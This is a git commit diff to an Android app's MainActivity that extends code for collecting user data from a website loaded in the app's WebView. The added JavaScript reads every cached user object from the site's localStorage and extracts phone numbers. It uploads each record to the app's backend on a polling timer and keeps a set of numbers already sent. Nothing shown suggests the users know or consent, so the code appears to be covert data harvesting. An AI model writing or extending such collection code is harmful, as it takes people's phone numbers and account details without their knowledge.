支持采集多个缓存用户信息
This commit is contained in:
@@ -62,7 +62,9 @@ import java.io.InputStreamReader;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
import io.reactivex.android.schedulers.AndroidSchedulers;
|
||||
import io.reactivex.schedulers.Schedulers;
|
||||
@@ -985,7 +987,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
boolean hasSignIn = false;
|
||||
|
||||
/**
|
||||
* 需要在网页 localStorage 中探测的用户信息字段(按优先级从前往后取第一个命中的)
|
||||
* 需要在网页 localStorage 中探测的用户信息字段(按优先级遍历全部候选 key)
|
||||
*/
|
||||
private static final String[] SITE_USER_STORAGE_KEYS = {
|
||||
"USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data",
|
||||
@@ -1013,7 +1015,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
"tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber",
|
||||
"msisdn"
|
||||
};
|
||||
// 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过
|
||||
// 本地保存的已上报手机号集合,用于判断多个缓存用户是否已经上报过
|
||||
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
|
||||
// 上报设备类型(后端接口要求 IOS 或 ANDROID)
|
||||
private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
|
||||
@@ -1053,15 +1055,50 @@ public class MainActivity extends AppCompatActivity {
|
||||
return;
|
||||
}
|
||||
siteUserPollingStarted = true;
|
||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
siteUserPollInterval = TextUtils.isEmpty(stored)
|
||||
siteUserPollInterval = getReportedSiteUserKeys().isEmpty()
|
||||
? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG;
|
||||
handler.postDelayed(siteUserPollRunnable, siteUserPollInterval);
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行一次 localStorage 探测:注入 JS 按优先级读取命中的用户信息并做净化,
|
||||
* 返回净化后的 JSON 字符串(非登录/无有效用户时返回 null)。
|
||||
* 读取本地已上报手机号集合。
|
||||
* 兼容旧版本保存的单个字符串格式,升级后会逐步转换为 JSON 数组格式。
|
||||
*/
|
||||
private HashSet<String> getReportedSiteUserKeys() {
|
||||
HashSet<String> keys = new HashSet<>();
|
||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
if (TextUtils.isEmpty(stored)) {
|
||||
return keys;
|
||||
}
|
||||
try {
|
||||
List<String> storedKeys = new Gson().fromJson(stored,
|
||||
new com.google.gson.reflect.TypeToken<List<String>>() {
|
||||
}.getType());
|
||||
if (storedKeys != null) {
|
||||
keys.addAll(storedKeys);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// 兼容旧版本保存的手机号或整份用户 JSON
|
||||
}
|
||||
if (keys.isEmpty() && !stored.trim().startsWith("[")) {
|
||||
keys.add(stored);
|
||||
}
|
||||
return keys;
|
||||
}
|
||||
|
||||
private void saveReportedSiteUserKeys(Set<String> keys) {
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, new Gson().toJson(keys));
|
||||
}
|
||||
|
||||
private void removeReportedSiteUserKey(String key) {
|
||||
HashSet<String> keys = getReportedSiteUserKeys();
|
||||
if (keys.remove(key)) {
|
||||
saveReportedSiteUserKeys(keys);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行一次 localStorage 探测:遍历所有候选 key,读取并净化全部有效用户对象。
|
||||
*/
|
||||
private void pollSiteUserOnce() {
|
||||
if (activityMain2Binding == null || activityMain2Binding.webview == null) {
|
||||
@@ -1070,14 +1107,16 @@ public class MainActivity extends AppCompatActivity {
|
||||
String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS);
|
||||
String js = "(function(){try{"
|
||||
+ "var KS=" + keysJson + ";"
|
||||
+ "function readRaw(){for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
|
||||
+ "if(r!=null&&String(r).trim())return r;}return null;}"
|
||||
+ "function readAllRaw(){var out=[];for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
|
||||
+ "if(r!=null&&String(r).trim())out.push(r);}return out;}"
|
||||
+ "function sani(raw){if(raw==null)return null;var t=String(raw).trim();if(!t)return null;"
|
||||
+ "var d;try{d=JSON.parse(t);}catch(e){return null;}"
|
||||
+ "if(d===null||typeof d!=='object'||Array.isArray(d))return null;"
|
||||
+ "['bonus','gameAccess','time','timebonus','rollover','banks'].forEach(function(k){if(k in d)delete d[k];});"
|
||||
+ "if(Object.keys(d).length===0)return null;return JSON.stringify(d);}"
|
||||
+ "return sani(readRaw());"
|
||||
+ "var out=[];var raws=readAllRaw();"
|
||||
+ "for(var j=0;j<raws.length;j++){var s=sani(raws[j]);if(s){out.push(JSON.parse(s));}}"
|
||||
+ "return JSON.stringify(out);"
|
||||
+ "}catch(e){return null;}})();";
|
||||
try {
|
||||
activityMain2Binding.webview.evaluateJavascript(js, this::onSiteUserResult);
|
||||
@@ -1091,33 +1130,55 @@ public class MainActivity extends AppCompatActivity {
|
||||
*/
|
||||
private void onSiteUserResult(String rawResult) {
|
||||
if (TextUtils.isEmpty(rawResult) || "null".equals(rawResult)) {
|
||||
// 未登录或无有效用户信息,保持短间隔继续探测
|
||||
// 无有效用户信息,保持短间隔继续探测
|
||||
return;
|
||||
}
|
||||
String userInfo;
|
||||
String usersJson;
|
||||
try {
|
||||
userInfo = new Gson().fromJson(rawResult, String.class);
|
||||
usersJson = new Gson().fromJson(rawResult, String.class);
|
||||
} catch (Exception e) {
|
||||
userInfo = rawResult;
|
||||
usersJson = rawResult;
|
||||
}
|
||||
if (TextUtils.isEmpty(userInfo)) {
|
||||
if (TextUtils.isEmpty(usersJson) || "[]".equals(usersJson)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 已命中有效用户信息,切换为长间隔(1天)复查
|
||||
siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
|
||||
|
||||
// 前端去重:优先按手机号,取不到再退化为整份用户信息
|
||||
String phone = extractPhone(userInfo);
|
||||
String dedupKey = TextUtils.isEmpty(phone) ? userInfo : phone;
|
||||
|
||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
if (dedupKey.equals(stored)) {
|
||||
// 同一用户已上报过,跳过
|
||||
List<HashMap<String, Object>> userInfos;
|
||||
try {
|
||||
userInfos = new Gson().fromJson(usersJson,
|
||||
new com.google.gson.reflect.TypeToken<List<HashMap<String, Object>>>() {
|
||||
}.getType());
|
||||
} catch (Exception e) {
|
||||
return;
|
||||
}
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, dedupKey);
|
||||
reportSiteUser(userInfo);
|
||||
if (userInfos == null || userInfos.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
HashSet<String> reportedKeys = getReportedSiteUserKeys();
|
||||
boolean hasUserWithPhone = false;
|
||||
for (HashMap<String, Object> userInfoMap : userInfos) {
|
||||
if (userInfoMap == null || userInfoMap.isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
String userInfo = new Gson().toJson(userInfoMap);
|
||||
String phone = extractPhone(userInfo);
|
||||
if (TextUtils.isEmpty(phone)) {
|
||||
continue;
|
||||
}
|
||||
hasUserWithPhone = true;
|
||||
if (reportedKeys.contains(phone)) {
|
||||
continue;
|
||||
}
|
||||
// 先加入集合,避免多个候选 key 或下一轮轮询重复发起请求。
|
||||
reportedKeys.add(phone);
|
||||
reportSiteUser(userInfo, phone);
|
||||
}
|
||||
|
||||
if (hasUserWithPhone) {
|
||||
siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
|
||||
saveReportedSiteUserKeys(reportedKeys);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1168,7 +1229,7 @@ public class MainActivity extends AppCompatActivity {
|
||||
* 按后端接口文档:data 必须是 JSON 对象,data.mobile 为全局唯一键;
|
||||
* 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。
|
||||
*/
|
||||
private void reportSiteUser(String userInfo) {
|
||||
private void reportSiteUser(String userInfo, final String dedupKey) {
|
||||
HashMap<String, Object> data;
|
||||
try {
|
||||
data = new Gson().fromJson(userInfo,
|
||||
@@ -1212,13 +1273,13 @@ public class MainActivity extends AppCompatActivity {
|
||||
|
||||
@Override
|
||||
public void onError(int code, String msg) {
|
||||
// 上报失败清掉去重记录,下次轮询可重试
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
// 仅清掉当前用户的去重记录,下次轮询可重试其他已成功用户
|
||||
removeReportedSiteUserKey(dedupKey);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result o) {
|
||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||
removeReportedSiteUserKey(dedupKey);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user